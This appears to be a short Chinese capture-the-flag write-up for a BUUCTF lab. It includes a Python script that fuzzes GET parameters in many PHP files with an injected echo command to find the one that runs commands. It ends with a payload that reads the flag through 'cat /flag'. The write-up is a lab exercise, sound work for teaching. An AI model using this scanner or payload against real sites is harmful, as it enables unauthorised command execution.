本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,发现已经把源码给我们了,直接通过URL下载,

打开文件发现有很多php文件,不知道哪个是我们要找的,其他地方也没有提示,

随便打开几个文件,


发现有很多GETPOST传参,而且有些传参参与systemeval等命令函数,
一个一个试太麻烦,我们需要编写代码帮我们筛选,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import os
import re

# 配置目标URL和源码路径(直接在这里修改)
url = 'http://36d3d08f-a863-4ceb-a6cf-a1a5cbffbf98.node5.buuoj.cn:81/' # 修改为你的目标URL
path = 'D:\下载\www\src' # 修改为你的源码路径

ptn_get = re.compile(br"\$_GET\['(\w+)'\]")
ptn_res = re.compile(br'success_hack')

# 遍历目录中的文件
for f in os.scandir(path):
if not f.is_file() or not f.name.endswith('.php'):
continue

print(f"扫描文件: {f.name}")

# 读取文件内容
try:
with open(f.path, 'rb') as fp:
data = fp.read()
except:
print(f"无法读取文件: {f.name}")
continue

# 查找GET参数
get_params = set(ptn_get.findall(data))

for param in get_params:
param_name = param.decode('ascii')
cmd = 'echo "success_hack";'

try:
# 发送请求,设置10秒超时
r = requests.get(url + f.name, params={param_name: cmd}, timeout=10)

if ptn_res.search(r.content):
print(f"发现漏洞! 文件: {f.name}, 参数: {param_name}")
exit()

except requests.Timeout:
print(f"请求超时: {f.name}?{param_name}=...")
continue
except requests.RequestException as e:
print(f"请求失败: {f.name} - {e}")
continue
except Exception as e:
print(f"发生错误: {e}")
continue

print("扫描完成,未发现漏洞")


筛选过程要很久,最终发现,
payload:

1
/xk0SzyKwfzw.php?Efa5BVG=cat /flag

是命令入口,

获得flag